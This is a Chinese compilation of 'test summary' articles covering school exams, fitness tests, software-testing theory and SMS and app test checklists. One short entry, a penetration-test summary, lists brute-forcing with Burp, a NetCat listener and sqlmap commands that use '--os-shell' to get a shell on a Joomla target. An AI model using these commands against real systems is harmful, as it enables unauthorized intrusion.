推荐第1篇：测试检查总结
2012—2013学年第一学期
隆文小学第一次测试情况检查总结
2012年11月12日
星期一
测试工作是常规教学中的一个主要环节，也是检查平时教与学的不足，不断完善教学方法的重要途径。测试可以巩固学生所学过的知识，为期末考试打下扎实的基础。因此，大部分教师都比较重视平时测试工作。
一、主要优点：
1、及时测试、改卷、分析评讲。测试次量较多，测试6次以上的学科有8个学科，其中有三1数学、三2数学、四年级数学、英语、五年级语文、数学、六年级语文、数学，最突出的是三2数学，大测14次，小测34次。
2、学生答卷比较认真，书写工整，卷面清楚，成绩较好。比较突出的一年级语文、三2语文、英语、四年级语文、英语、六年级语文、数学、英语。
3、大部分教师改卷认真细致，没有漏改错改，认真更正答案。
4、大部分学科有成绩记录，三年级英语还有综合分析。
二、主要问题：
1、有些学科测试数量较少，有些学科没有成绩记录。
2、有部分卷面不够清楚，学生书写不够规范，测试成绩不够理想，中下层生较多。
3、有个别教师改卷不及时，不够认真细致，没有更正错题或让学生更正错题。
4、有部分学科不重视测试分析评讲，从成绩记录来看，只有学生成绩，没有整体情况分析，从卷面来看没有学生自己更正错题。
三、改进意见：
1、及时测试、改卷和评讲。增强测试训练，提高学生的应试能力。
2、改卷要认真细致，不要漏改错改。
3、重视测试分析评讲，让学生自己更正错题，并且明白答错的原因。每次测试都能使优生和差生得到提高。
4、重视抓学生答卷书写的质量，力求书写端正规范，尽量不要使用涂改液或改写纸，培养认真答卷的习惯。
推荐第2篇：体育测试总结
2013年学生体质测试工作总结
西华县实验小学 13年11月12日
为贯彻落实学校体育“健康第一”的指导思想，切实加强学校体育工作的开展，我校十分重视《学生体质健康标准》实施和测试工作，在2013年9月至10月对全校学生进行了体育项目测试，并将测试数据上报，现将实施工作总结如下：
一、积极宣传，加强培训，提高工作质量
开学初，李校长召开全体体育老师及班主任会议，要求各级各班要重视体育测试工作。要求体育教师明确各年级测试项目，测试步骤和操作细则，对各班进行《标准》的测试项目及锻炼方法的宣传教育，让他们认识《标准》实施办法的重要性和必要性，李校长还把《标准》工作方案复印给各班，让学生了解测试达标要求来督促自已平时积极主动地锻炼身体。会后体育教师共同学习了国家学生体质健康标准测试数据上报工作培训手册，制订具体测试方法、步骤。
二、组织测试，保障安全
1、在测试前，对各班学生认真统计、输机、把每个学生的信息输入微机并上传到国家测试网。对学生进行身体健康情况的摸底调查，有计划、有组织地安排测试，并对测试仪器调试、场地、设施以及环境的布臵和安排进行排查，制订详细的测试细则和安全措施，指导受试者做好充分的预备活动等。
2、对各年级的测试项目都做了统一的规定，身高、体重、视力为各年级的必测项目，其他年级测试项目为：
一、二年级一分钟跳短绳、50米跑、坐位体前屈。
三、四年级为50米跑、坐位体前屈、一分钟仰卧起坐、一分钟跳短绳。五六年级为50米跑、肺活量、坐位体前屈、一分钟仰卧起坐、一分钟跳短绳、50米乘8往返跑。在测试过程中，充分发挥体育骨干的作用，使学生能安全有序地完成测试任务。
3、在测试过程中，局领导非常重视测试工作，安排主要项目都有外校体育教师测试，并亲自到现场视察、指导工作。在测试过程中，学生态度端正，认真测试，积极配合外校来测试老师工作，各项测试成绩很真实。但是也有一小部分学生抱着好玩的心态。五六年级学生对耐力项目（50米×8）的测试有偷懒的现象，导致50米×8往返跑成绩较低。
三、数据整理上报
在测试全部结束后，利用计算机教师的空余时间对数据进行录入、录入之后体育教师对数据进行了认真核对，分析并上传，实事求是地向学生反馈测试结果。
四、通过数据分析问题。全校2762人参加了《标准》活动， 结果表明，学生的体质健康的现状不容乐观，主要表现如下几个方面：
1、学生体能素质下降。学生的速度、耐力、柔韧性、爆发力和力量等素质均出现全面下降。 除反映速度素质的 50米跑成绩下降幅度较小外。其余各方面素质下降幅度较为明显。
2、学生视力下降，近视的人数增加，肥胖学生增多，特别是低年级肥胖增长更快。
3、从坐位体前屈及格人数看，学生身体的协调性还有待于提高。
4、反映肺功能的肺活量有下降趋势。学生体质健康方面存在的问题其原因是多方面的，但造成学生身体下降。特别是耐力、柔韧性、力量和肺活量持续下降的重要原因之一是学生体育锻炼不足，包括锻炼时间和强度均不够，尤其是学校组织的课外体育活动少。存在重智育轻体育的严重现象。而随着人民生活水平普遍改善带来的热量摄入过多，饮食结构和习惯也不合理。也是导致学生肥胖，身体素质下降的主要原因之一。
虽然完成了今年的工作任务，但还有许多问题要继续研究和探索，建立一套更加完善的方法，促进学生身心健康成长，为全面建设社会主义小康社会和构建社会主义和谐社会做出应有的贡献
推荐第3篇：软件测试总结
面向对象程序的软件测试方法
在软件生命周期过程中，软件测试是保证软件质量的关键环节之一。面向对象方法学在软件工程中的引入极大地方便了软件的设计、开发和维护，为创建高可靠性的软件系统提供了重要保证。但面向对象程序的封装、继承、多态和异常处理机制等新特性却给测试带来新的挑战。一方面需要调整、改进传统的测试策略和方法；另一方面探索出适应面向对象程序特征的测试理论与技术也尤为必要。
面向对象(Object Oriented,OO)是当前计算机界关心的重点，它是90年代软件开发方法的主流。面向对象的概念和应用已超越了程序设计和软件开发，扩展到很宽的范围。如数据库系统、交互式界面、应用结构、应用平台、分布式系统、网络管理结构、CAD技术、人工智能等领域。
面向对象的定义或说明对象的定义的非常少。其初，“面向对象”是专指在程序设计中采用封装、继承、抽象等设计方法。可是，这个定义显然不能再适合现在情况。面向对象的思想已经涉及到软件开发的各个方面。如，面向对象的分析（OOA，Object Oriented Analysis），面向对象的设计（OOD，Object Oriented Design）、以及我们经常说的面向对象的编程实现（OOP，Object Oriented Programming）。许多有关面向对象的文章都只是讲述在面向对象的开发中所需要注意的问题或所采用的比较好的设计方法。看这些文章只有真正懂得什么是对象，什么是面向对象，才能最大程度地对自己有所裨益。这一点，恐怕对初学者甚至是从事相关工作多年的人员也会对它们的概念模糊不清。
1、面向对象的基本概念
(1)对象。
对象是人们要进行研究的任何事物，从最简单的整数到复杂的飞机等均可看作对象，它不仅能表示具体的事物，还能表示抽象的规则、计划或事件。
(2)对象的状态和行为。
对象具有状态，一个对象用数据值来描述它的状态。
对象还有操作，用于改变对象的状态，对象及其操作就是对象的行为。
对象实现了数据和操作的结合，使数据和操作封装于对象的统一体中
(3)类。 具有相同或相似性质的对象的抽象就是类。因此，对象的抽象是类，类的具体化就是对象，也可以说类的实例是对象。
类具有属性，它是对象的状态的抽象，用数据结构来描述类的属性。
类具有操作，它是对象的行为的抽象，用操作名和实现该操作的方法来描述。
(4)类的结构。
在客观世界中有若干类，这些类之间有一定的结构关系。通常有两种主要的结构关系，即一般--具体结构关系，整体--部分结构关系。
①一般——具体结构称为分类结构，也可以说是“或”关系，或者是“is a”关系。
②整体——部分结构称为组装结构，它们之间的关系是一种“与”关系，或者是“has a”关系。
(5)消息和方法。
对象之间进行通信的结构叫做消息。在对象的操作中，当一个消息发送给某个对象时，消息包含接收对象去执行某种操作的信息。发送一条消息至少要包括说明接受消息的对象名、发送给该对象的消息名（即对象名、方法名）。一般还要对参数加以说明，参数可以是认识该消息的对象所知道的变量名，或者是所有对象都知道的全局变量名。
类中操作的实现过程叫做方法，一个方法有方法名、参数、方法体。消
2、面向对象的特征
(1)对象唯一性。
每个对象都有自身唯一的标识，通过这种标识，可找到相应的对象。在对象的整个生命期中，它的标识都不改变，不同的对象不能有相同的标识。
(2)分类性。
分类性是指将具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象，它反映了与应用有关的重要性质，而忽略其他一些无关内容。任何类的划分都是主观的，但必须与具体的应用有关。
(3)继承性。
继承性是子类自动共享父类数据结构和方法的机制，这是类之间的一种关系。在定义和实现一个类的时候，可以在一个已经存在的类的基础之上来进行，把这个已经存在的类所定义的内容作为自己的内容，并加入若干新的内容。 继承性是面向对象程序设计语言不同于其它语言的最重要的特点，是其他语言所没有的。
在类层次中，子类只继承一个父类的数据结构和方法，则称为单重继承。
在类层次中，子类继承了多个父类的数据结构和方法，则称为多重继承。
在软件开发中，类的继承性使所建立的软件具有开放性、可扩充性，这是信息组织与分类的行之有效的方法，它简化了对象、类的创建工作量，增加了代码的可重性。
采用继承性，提供了类的规范的等级结构。通过类的继承关系，使公共的特性能够共享，提高了软件的重用性。
(4)多态性(多形性) 多态性使指相同的操作或函数、过程可作用于多种类型的对象上并获得不同的结果。不同的对象，收到同一消息可以产生不同的结果，这种现象称为多态性。
多态性允许每个对象以适合自身的方式去响应共同的消息。
多态性增强了软件的灵活性和重用性。
面向对象方法的基本思想是一：面向对象方法是一种运用对象、类、封装、继承、多态和消息等概念来构造、测试、重构软件的方法。
二： 面向对象方法是以认识论为基础，用对象来理解和分析问题空间，并设计和开发出由对象构成的软件系统（解空间）的方法。 由于问题空间和解空间都是由对象组成的，这样可以消除由于问题空间和求解空间结构上的不一致带来的问题。简言之，面向对象就是面向事情本身，面向对象的分析过程就是认识客观世界的过程。
面向对象方法从对象出发，发展出对象，类，消息，继承等概念。
面向对象方法的主要优点是：符合人们通常的思维方式；从分析到设计再到编码采用一致的模型表示具有高度连续性；软件重用性好。
面向对象软件测试的特点是: 1.掌握代码检查、走查与评审的基本方法和技术； 2.掌握白盒测试和黑盒测试的测试用例的设计原则和方法； 3.掌握单元测试和集成测试的基本策略和方法；
4.了解系统测试、性能测试和可靠性测试的基本概念和方法；5.了解面向对象软件和WEB应用软件测试的基本概念和方法； 6.掌握软件测试过程管理的基本知识和管理方法； 7.熟悉软件测试的标准和文档；
8.掌握QESuite软件测试过程管理平台和QESat/C++软件分析和工具的使用方法。
推荐第4篇：渗透测试总结
XSS、SQL注入、文件上传、弱口令、备份信息泄露 XSS 分析漏洞成因
构造payload NetCat监听端口
nc.exe -lnvp 8888 利用cookie登录 获取权限
弱口令
Burpsuit拦截数据包 Intruder模块 标记密码 加载字典 开始爆破 查看返回值
SQL注入
抓包 Decoder as url 保存post请求 Sqlmap.py
sqlmap.py -r C:\\Joomla.txt -p filter[category_id] SQLmap OS-shell
sqlmap.exe -r C:\\Joomla.txt -p filter[category_id] --os-shell 获取交互式shell
推荐第5篇：软件测试总结
1.软件测试定义：由人工或自动方法来执行或评价系统或系统部分的过程，以验证它是否满足规定的需求，或识别出期望的结果和实际结果之间的差异。2.软件测试的分类：
测试对象或范围分类：需求评审、设计评审、单元测试、程序测试、系统
测试、文档测试、Web应用测试、客户端测试、数据库测试等；
测试目的分类：集成测试、功能测试、压力测试、性能测试等等； 静态测试、动态测试； 白盒测试、黑盒测试。 3.软件测试的基本流程与原则
基本流程：
测试用例设计-输入数据、预期结果； 测试执行-输入数据执行被测对象； 检查实际输出与预期结果。 基本原则：
开始测试时认定软件有错，测试要证明有错； 测试应该由独立的测试团队来完成； 测试设计必须设计对应的预期输出；
要对合理、不合理（有效、无效）输入数据都进行测试； 检查软件的完备性、多余； 完整保留测试文档；
一个被测对象中有错误的概率与已发现错误的个数成正比。 4.Beizer测试成熟度级别：
0级：没有区分测试与调试；
1级：测试的目的是证明软件能用； 2级：测试的目的是证明软件不能用；
3级：测试的目的不是为了证明什么，而是为了降低软件使用风险； 4级：测试是一种智能训练，能够帮助专业人员开发出更高质量的软件。 5.软件测试与软件工程，软件过程的关系：
软件工程：在给定的条件下（成本、时间）开发出高质量的软件产品。 软件生产过程的特性决定了软件产品中不可避免包含有错误。 软件测试则是尽可能多地发现错误，从而保障软件产品的质量。 6.McCall的质量因素：
产品修改：
可维护性，灵活性，可测试性 产品转移：
可移植性，可复用性，互操作性 产品运行：
正确性，易用性，可靠性，效率，完整性 7.软件质量困境
软件质量必须足够好：存在价值
软件产品无法完美：需要消耗过多的资源、时间、成本
软件开发需要在两个极端之间进行平衡：软件足够好的同时又不完美。 8.质量控制、质量保证和质量管理
软件质量控制其实是基本方法，通过一系列的技术来科学地测量过程的状态。如缺陷率、测试覆盖率等。
软件质量保证则是过程的参考、指南的集合，如ISO9000、CMM/CMMI等，着重内部的检查，确保已获取认可的标准和步骤都已经遵循。
软件质量管理则是实际操作的思想，质量管理控制和协调组织的质量活动，包括质量控制、质量保证和质量改进。 9.WebApp应用的属性：
网络密集型应用；并发性；大负载量；性能；高可靠性、高可用性；安全性-内容敏感；
10.软件评审的目的，评审度量及其应用
评审的目标在于：尽早发现软件过程中的错误，防止错误传递、蔓延至后续活动，防止错误转化为缺陷。
准备工作量Ep-实际评审会之前所需工作量； 评估工作量Ea-实际评审所花费的工作量 返工工作量Er-修改评审所发现错误的工作量 工作产品规模WPS-评审对象的规模
发现的主要错误数Errmajor-多于预期的改错工作量的错误数目 发现的次要错误数Errminor-少于预期的改错工作量的错误数目 总评审工作量Ereview = Ep+Ea+Er 错误总数Errtot = Errmajor+Errminor 错误密度：评审的每单位工作产品发现的错误数Ed = Errtot / WPS 错误密度数值的含义：较小（产品质量非常好或评审不够彻底）；较大（产品质量存在缺陷）
11.软件测试计划：描述对计算机软件配置项、子系统、系统进行测试的计划安排，内容包括测试的环境、测试工作的标识及测试工作的时间安排。
软件测试报告：是对计算机软件配置项、软件系统或子系统，或与软件相关项目执行合格性测试的记录 12.软件测试活动
制订测试计划（测试分析员）
测试设计（测试设计人员）－方案设计 测试及测试用例设计 测试过程
桩模块、驱动模块设计
测试实施（测试设计员）－实现测试设计 单元测试（测试员） 集成测试（测试员） 系统测试（测试员）
评估测试（测试设计人员）
13.无向图的相关定义：
连接性：节点ni、nj是连接的，当且仅当ni、nj在同一条路径上。 组件：图的组件是相连节点的最大集合
图G的圈复杂度V（G)＝e－n＋2p，其中e为G的边数，n为节点数，p为组件数。 14. 图覆盖：给定一个关于图G的准则C的测试需求集合TR，测试集合T在图G上满足准则C当且仅当对TR中每个测试需求tr，path(T)中至少存在一条测试路径p满足tr。
简单路径：如果从ni到nj的一条路径中，除了始节点和终节点可以相同外，没有任何节点出现次数多于一次，则该路径为简单路径。
主路径：如果从ni到nj是一条简单路径，并且它不作为任何其他简单路径的子路径出现，则称之为主路径。
主路径覆盖（PPC）准则：TR包含图中每一条主路径。
指定路径覆盖（SPC)：TR包含一个测试路径集S，S为指定参数。 15.白盒测试方法
白盒测试：根据被测对象的内部结构和运行机制来设计测试用例的方法，又称为结构测试、逻辑驱动测试、覆盖测试
被测对象的独立路径至少覆盖一次； 所有逻辑取值测试[真、假]； 循环边界测试；
检查内部数据结构、边界条件。 16.黑盒测试方法
黑盒测试方法又称功能测试方法、数据驱动测试方法，测试设计时不考虑被测对象的内部结构，以检查系统功能（功能的正确、完整、逻辑流程、人机界面、文档内容、系统安装/初始化）
以被测对象的外部特征为测试依据。 17.模糊测试方法
模糊测试方法：构造大量的随机数据作为系统的输入，从而检验系统在各种数据情况下是否出现问题。
18.增量测试：单元测试、调用依赖的模块集成测试，逐步扩展直到形成整个软件系统。
19.突击测试：所有模块一次性集成为一个完整的系统，然后进行完全测试。20.等价类划分：
等价类划分基于对输入或输出数据情况的评估，划分成两个或多个子集（等价类），然后从每个子集中选取一定的代表进行测试的测试用例设计方法。 21.极限测试
极限编程：利用轻量、敏捷的开发过程，使开发人员能够更快地完成应用程序的开发。强调频繁测试、测试驱动的方式保证软件质量。
极限测试：为满足极限编程思想和过程而设计的一套测试策略和流程，原来的测试技术、方法均可以使用 22.配置项测试的内容
功能: 适合性
准确性：功能的准确与精度要求 互操作性：与外部设备、系统的接口 安全保密性：数据访问的可控制性 可靠性: 成熟性：容错处理、平均无故障时间
容错性：边界条件、功能、性能的降级情况、误操作模式、故障模式 易恢复性：自动修复能力/时间、平均宕机时间、平均恢复时间、恢复能力等 易用性
易理解性：功能描述清晰、准确；界面含义精确
易学性：在线帮助、帮助定位、各类手册的易学、易用 易操作性：数据的有效检查、解释信息明确、界面切换 吸引性：人机界面定制 效率
时间特性：响应时间、平均响应时间、响应极限时间、吞吐量、平均吞吐量、极限吞吐量，多任务并行测试
资源利用：大量并发任务下I/O设备利用、极限负载下I/O设备的负载、大量并发任务下用户等待时间、内存使用情况、数据传输能力等
维护性
易分析性：运行状态数据易分析 易变更性：软件的可配置、修改能力 易测试性：变更之后的易测试情况 可移植性
适应性：不同软件、硬件环境的适应能力 易安装性：安装、配置的复杂程度、难以程度 共存性：与其他软件协同的能力 易替换性：版本的替换难以程度 依从性
以上所有特性遵循标准、规范的情况测试
23系统测试：系统非功能性测试，以检验系统在超常数据规模或负载下，线程、CPU、内存资源的利用和响应时间、数据传输等性能指标是否满足要求
24.测试计划
确定测试充分性要求：覆盖范围、覆盖程度 确定测试终止要求； 确定测试所需资源； 确定测试的软件特性； 确定测试技术、方法； 确定测试准出条件； 确定测试进度计划； 测试风险分析。
25. 测试设计：测试设计人员、测试程序员
测试用例设计：依据测试特性； 获取测试数据；
确定测试顺序：资源、被测特性； 获取测试资源：软硬件、工具； 编写测试程序； 建立测试环境； 撰写测试设计说明。
26.测试总结：
测试分析员－测试报告
总结测试计划、测试说明的变化情况； 异常终止时测试未覆盖范围； 未能解决的测试问题； 总结测试结果（发现问题）； 编写测试报告；
根据问题报告、测试记录，编写测试问题报告。
27.软件可靠性：在给定的运行时间内和给定的系统配置环境下，运行给定的软件功能时所 表现出来的质量能力 28.系统性能指标
系统资源利用率：分析性能指标，改善性能系统行为指标 请求响应时间：一次请求完成时间
事务响应时间：一个事务所有请求完成的总时间
数据吞吐量：单位时间内服务器接收、发送的数据量。
29.验收测试：用户执行的、使用真实数据进行的测试，依据需求规格中的确认标准进行测试。回归测试：验证已测试过的内容不受变更影响，确认变更没有引入新的错误。
30.α测试是由一个用户在开发环境下进行的测试，也可以是公司内部的用户在模拟实际操 作环境下进行的测试。
Beta测试由软件的最终用户在一个或多个客户场所进行，开发者通常不在Beta测试的现场。
31.WebApp测试关注的主要内容 Web内容测试 界面 构件
导航测试 安全性 性能
32.测试用例（Test Case）是为某个特殊目标而编制的一组测试输入、执行条件以及预期结果，以便测试某个程序路径或核实是否满足某个特定需求。
33.软件生存期定义：从软件产品设计到软件被淘汰的时间段。又称软件生命周期、生存周期。进一步划分为两个阶段：开发阶段和维护阶段（40%+60%）。
34.软件安全定义：一种软件质量保证活动，他主要用来识别和评估可能对软件产生负面影响并促使整个系统失效的潜在灾难。
35.软件评审的目标在于：尽早发现软件过程中的错误，防止错误传递、蔓延至后续活动，防止错误转化为缺陷。36.V模型
优点：既有底层测试又有高层测试。底层：单元测试。高层：系统测试。
将开发阶段清楚的表现出来，便于控制开发的过程。当所有阶段都结束时，软件开发就结束了。
缺点：容易让人误解为测试是在开发完成之后的一个阶段。
由于它的顺序性，当编码完成之后，正式进入测试时，这时发现的一些bug可能不容易找到其根源。
实际中，由于需求变更较大，导致要重复变更需求、设计、编码、测试，返工量大。 37.W模型：
优点：
将测试贯穿到整个软件生命周期中，且除了代码要测试，需求、设计等都要测试。 更早介入软件开发中，能尽早发现缺陷并修复。
测试与开发独立起来，并与开发并行。 缺点：
对有些项目，开发过程中根本没有文档产生，故W模型无法使用。
对于需求和设计的测试技术要求很高，实践起来很困难。
从N0中某节点开始到Nf中某节点结束的一条路径称为一条测试路径。
1.软件缺陷：（符合下列规则的叫软件缺陷)：
１）．软件未达到产品说明书的功能
２）．软件出现了产品说明书指明不会出现的错误
３）．软件功能超出产品说明书指明范围
４）．软件未达到产品说明书虽未指出但应达到的目标
５）．软件测试员认为难以理解、不易使用、运行速度缓慢、或者最终用户认为不好
2.单元测试：单元测试是对软件设计的最小单元——模块进行正确性检验的测试工作，主要测试模块在语法、格式和逻辑上的错误。3.回归测试
指软件系统被修改或扩充（如系统功能增强或升级）后重新进行的测试，是为了保证对软件所做的修改没有引入新的错误而重复进行的测试。
4.等价类：指某个输入域的子集合，在该子集合中，各个输入数据对于揭露程序中的错误都是等效的。
推荐第6篇：心理测试总结
心理旅程工作总结
为优化大学生心理品质，培养我院学生自我心理调适技能与方法，增强大学生认识自我、发展自我和完善自我的能力，促进大学生身心和谐，健康成长。我院团支部组织我院同学们开展此次“心理旅程”活动。旨在通过心理测试，希望参与者在“旅程”中能与自己的内心来一次交流，并对自己最近阶段的学习和前景规划，有一次较彻底的思考。
在活动前，团支部成员认真准备测试项目，对于活动所需要的各个项目做着充分的准备工作，把测试中所需要注意的项目认真传达给每一位同学为活动顺利开展作出了重要贡献。
活动期间同学们认真填写测试项目把真实的情况反映出来。各班级负责人起到了关键作用，组织同学们进行测试，并配合团支部工作把各个活动项落实。
测试的结果反映出我院学生的心理健康程度是比较好的，存在着一些问题需要我们给予关注，我院团支部将请心理老师阅读测试卷子，并对具体同学提出意见，促进心理健康发展。
从活动的参与情况与反馈信息来看，同学们从内心深处体会到心理健康的重要，尤其是在自身发展过程中，心理健康更重要。他们清醒地认识到，只有拥有健全的人格、愉快的情绪和健康的心理，才能为自身的发展奠定内在基础。
心理测试已经完美落幕，留给我们的却是太多的工作经验。作为学生会的学生干部，就应该时刻怀着服务同学的精神，协助老师做好工作。举办一场活动不容易，但这却是考验我们能力的时候。在此，对本次活动中付出努力的各位表示感谢！辛苦了，各位！作为一个新生的部门，心部一直在超越自我、超越他人。我们从活动中得到快乐、得到教训、得到经验，并一直勇敢地向前走去，我们坚信：心部能行。心部心部，永不止步！活动推进了同学们对大学生心理健康教育的认识，提高了学生的心理保健意识，对自身心理健康有良好的促进作用，对即将走入社会的大学生们有一定的指导。活动过程中学生积极响应
会计金融学院
团总支
工 作 总 结
会计金融学院
团总支
推荐第7篇：冬训测试总结
2012年冬训测试工作总结
---------漯河市体育运动学校招生选材办李鹏涛我校 2012 年冬训测试运动会于元月 8—9 日成功举办，在全校师生的共同努力下，圆满地落下了帷幕。整个运动会气氛热烈、秩序井然，热情高涨，场面动人，特别是同学们奋勇拼搏和团结互助的精神，给每一位在场观众留下深刻印象。充分体现了我校师生良好的精神风貌，成为我校冬训工作的一次成功检阅， 尤其值得关注的是， 运动会自始至终体现出一种集体的凝聚力与向心力，使本次素质测试不仅圆满完成了测试任务，而且将有力地推动我校今后的素质测试工作，取得更大意义上的成功。综观本届运动会，达到了振奋精神、凝聚人心的预期目的。有针对性的对运动员的冬训情况进行素质测试，检验冬训效果，配合学校精细化管理的实施，聘请文化课教师全部参与裁判工作，体现了运动学校内的体教结合。选择跳绳、60米、1500米等身体素质类指标的项目，为教练员提供真实有效的测试数据，为年度锦标赛素质测试做了一次真实的检验，真正做到了为训练服务，为运动员服务的本质工作。这次测试归结起来主要有以下几个方面的特点：
1.学校重视、组织健全、预备工作到位，及时。
冬训初期主管校长就将此次运动会的相关工作安排提到工作日程上来，各部门工作安排就绪，文化课老师们积极配合，教练员们将
此项工作宣传到运动队。使运 动会前期工作得到顺利完成。在运动会筹备阶段，学校给予了高度的重视，并且成立了运动会组委会，形成了一个强而有力的领导核心。运动会之前，全校师生做了大量的前期筹备工作，召开了会议，落实、布置、检查筹备情况。大会还进行了明确而合理的分工，确立了教练员、领队、裁判员、资格审查、统计等小组，正因为有了这样一个工作机构体系，使各项工作有人负责、有人落实，从而成为本届运动会成功的首要条件。
2、组织严密、协调配合、发挥不怕脏，不怕累的精神。比赛中的组织工作是赛前工作的一个检验， 更是运动会最重要的一个环节，所有工作相互联系、互相协调、缺一不可。组委会各工作组之间互相协调、沟通联系，既分工又协作，每位裁判长与裁判员之间及 时沟通。工作时认真执法，场地器材及时准确到位，后勤服务 及时提供后勤保障， 各部门在运动会中出色完成了各项任务。
3、运动员们突出表现、充分发挥个人才能。
素质测试中，涌现出来一批素质特别好的运动员。60米跑的测试中边献荣教练的男、女均发挥出了很高的水平，包揽了男子前三名和女子前三名。跳绳比赛中，运动队专项优势不是特别明显，射箭队、拳击队、网球队等均有名次和奖项。击掌俯卧撑比赛中，散打队的闫凯同学和短跨队的魏梦欣同学分获男、女第一名。立定跳远比赛中田径队几乎包揽了男、女前三，女子篮球队的张文晴获得第二名。引体向上比赛中摔跤队包揽了男子前三名。1500米长跑比赛中，中长跑队包揽了男女前三名，充分体现了专项素质的优越性。其他各运动队、
运动员均发挥了比较好的状态，达到了测试的目的和任务。
4、一回准裁判，一次新体验。
运动会两天，身处教学一线的文化课教师和行管老师们彻彻底底地担了一回准裁判，他们在裁判长的带领下，公平、公正、公开地完成了冬训测试工作的裁判任务，并得到参赛运动员的一致满意，也增加了裁判工作的新体验。
冬训测试的不足之处：
1、冬训测试组织经验不足，造成很多方面准备不充分；
2、虽然各裁判员都非常认真敬业，但是由于经历裁判工作不多，对训练的规律和裁判的细节等都把握不够。
推荐第8篇：口语测试总结
六年级语文口语测试总结
（2017——2018学年第二学期）
一、总体情况
这次我年级进行口语测试考评，测试地点就为本班班级。学生到位后，考评老师按考核名单点名考核，并且根据情况记录、评价。首先由学生四人为一组抽签背诵作品，4人按照抽签内容背诵完毕后，进入口语考核，同样抽签决定考核内容，5分钟时间准备，前一名学生进行口语考核时，再由后一名学生做好准备。
考评完毕后，由本班语文教师做好登记、统计全班考评成绩，并将考核结果交由教导处存档。
朗读和说话不合格的都给予了一次补说的机会。
二、成绩和不足
这次口语测试，学生参与率高。测试中，所有学生能用普通话对话，少数学生口试发音准确、说话流利、连贯，通过测试，大部分学生能重视口语对话。但仍存在很多问题。
1、部分学生对口语测试重视不够。试题下发后两天内，要求学生积极准备，但在以后的测试中，读音不准、读错字、别字的人很多，甚至有个别学生在复试时仍将字读错。说话测试时，有少数学生三言两语就结束，有的根本就没有围绕话题，有应付口试迹象。
2、学生的朗读水平普遍很差。测试中发现学生对朗读普遍停留在识字阶段，缺乏对内容的理解和朗读感情的投入，一字一板，平铺直叙的识字式朗读者甚多；读音的轻重缓急、停顿、语调变换等朗读技巧能体现者较少；有少数学生已出现断句错误，将词分开来读。
3、说话测试问题最多。首先是很多学生缺乏认真审题，其次是学生在说话时语句组织不当。方言词过多、大量重复、说话不连贯、前言不搭后语想象较多。
4、交往常识、社会礼仪不重视。虽然我们没有要求使用礼貌用语，但仍有很多同学上台自报姓名，测试完毕后都能用“请”“谢谢”等礼貌用语，但效仿者不多；很多学生在测试时低着头，身体摇来晃去，举止不大方；尽管我们没有扣分，但给人留下了一个不好的测试印象。
通过这次测试，我们语文教师感觉我校学生口语交际水平还很低，还需要我们在以后工作中给予重视，另外，个别笔试成绩优异的学生却口试成绩不理想，也告诫我们，在素质教育和新课改的背景下，我们要重视学生的各方面能力培养，让学生全面发展，才能让其更好地走入社会，适应社会。
推荐第9篇：测试短信总结
测试短信总结
短信的测试需要对短信的发送和接收；转发、编辑信息；删除、收藏、群发信息；查看方式；接收导入和导出；短信设置；提取信息内容；信息列表等方面进行测试。
在测试短信的发送时，需要测试可以对已存号码、通话记录号码、陌生号码发送信息；能否发送长短信，超过668个字后是否转为彩信；在网络不可用时信息发送失败，网络恢复后能否重新发送；能否正常转发信息进行测试。测试短信的接收时，需要测试能否正常接收移动、联通、电信卡发来的中文短信、英文短信和混合短信；能否接收包含不同字符、合法有效网址、固定电话、手机号码、银行卡号、客服号码的信息。在测试短信设置时，需测试新短信的存放位置是否和设置的一致；短信服务中心设置错误时能否发送信息；设置删除旧信息的限制数量后，超过限制数旧信息是否会被删除；设置聊天背景后，进去会话聊天背景是否和设置的一致。在测试提取信息内容时，需要测试能否对提取的号码进行拨号、发送信息和邮件、添加到联系人；能否打开提取的网页。横屏或其他系统语言下短信功能和显示是否正常。
交互测试方面。需要测试编辑短信时，发生了锁屏、异常关机、定时关机、低电量关机后，重新开机编辑的内容是否正常保存。在删除过程中，来电、信息（短信、彩信）、提醒（闹钟，日程等）、自动关机发生是否能正常删除；阅读信息时在被各种方式中断后能否继续阅读等。
推荐第10篇：app测试总结
App测试总结
一、App测试流程与web项目流程区别
1.对UI要求比较高，需要更加注重用户体验。对于一个小小的屏幕，如何让用户使用更加轻便、简介、易用。
2.App是调用服务端接口展示数据。我们测试需要可以判断问题是客户端还是服务端接口返回数据错误。
3.App网络测试。手机对网络要求比较特别，网络分2G，3G，wifi。有条件的话，可以分别测试下。
4.App需要版本升级功能。（非常重要）
5.Push推送测试（现在客户基本都挺重视此功能）
二、服务端测试
服务端一般会提供JSON格式的数据给客户端，所以我们在服务端需要进行接口测试，确保服务端提供的接口并转换的JSON内容正确，对分支、异常流有相应的放置。 我们可以用RESTClient进行接口测试（接口需要开发提供文档，如何调用接口） 安装方法
1.安装Firefox-附件组件-扩展
2.安装成功后，点击restclient图标
根据开发提供文档编辑url如图，可以获取json数据。通过这个我们可以测试接口返回数据是否正确
三、客户端测试
1.网络
1） 无网络，执行需要网络的操作，要有友好的提示，确保程序不出现crash。由于网络出现crash都属于bug。
2） 内网测试时，要注意选择到外网操作时的异常处理。
3） 网络信号不好时，检查功能状态是否正常，确保不因提交数据失败而造成crash 4） 网络信号不好时，检查数据是否会一直处于提交中的状态，有无超时限制。如遇数据交换失败时要给予提示
5） 网络信号不好时，执行操作后，在回调没有完成的情况下，退出本页面或者执行其他操作的情况，有无异常情况。此问题也会经常出现程序crash
2.应用的前后台切换
1） app切换到后台，再回到app，检查是否停留在上一次操作界面 2） app切换到后台，再回到app，检查功能及应用状态是否正常
3） app切换到后台，再回到前台时，注意程序是否崩溃，功能状态是否正常，尤其是对于从后台切换前台数据有自动更新的时候。
4） 手机锁屏解屏后进入app注意是否会崩溃，功能状态是否正常，尤其是对于从后台切换前台数据有自动更新的时候。
5） 当app使用过程中有电话进来中断后再切换到app，功能状态是否正常 6） 当杀掉app进程后，再开启app，app能否正常启动
7） 出现必须处理的提示框后，切换到后台，再切换回来，检查提示框是否还存在（譬如强制更新提示框）。有时候会出现应用自动跳过提示框的缺陷
8） 对于有数据交换的页面，每个页面都必须要进行后台切换、锁屏测试。这种页面最容易出现崩溃
3.数据更新
根据应用的业务规则，以及数据更新量的情况，来确定最优的数据更新方案。 1） 需要确定哪些地方需要提供手动刷新，哪些地方需要自动刷新，哪些地方需要手动+自动刷新
2） 确定哪些地方从后台切换回前台时需要进行数据更新 4.
5.
6.
7.
8.3） 根据业务、速度及流量的合理分配，确定哪些内容需要实时更新，哪些需要定时更新
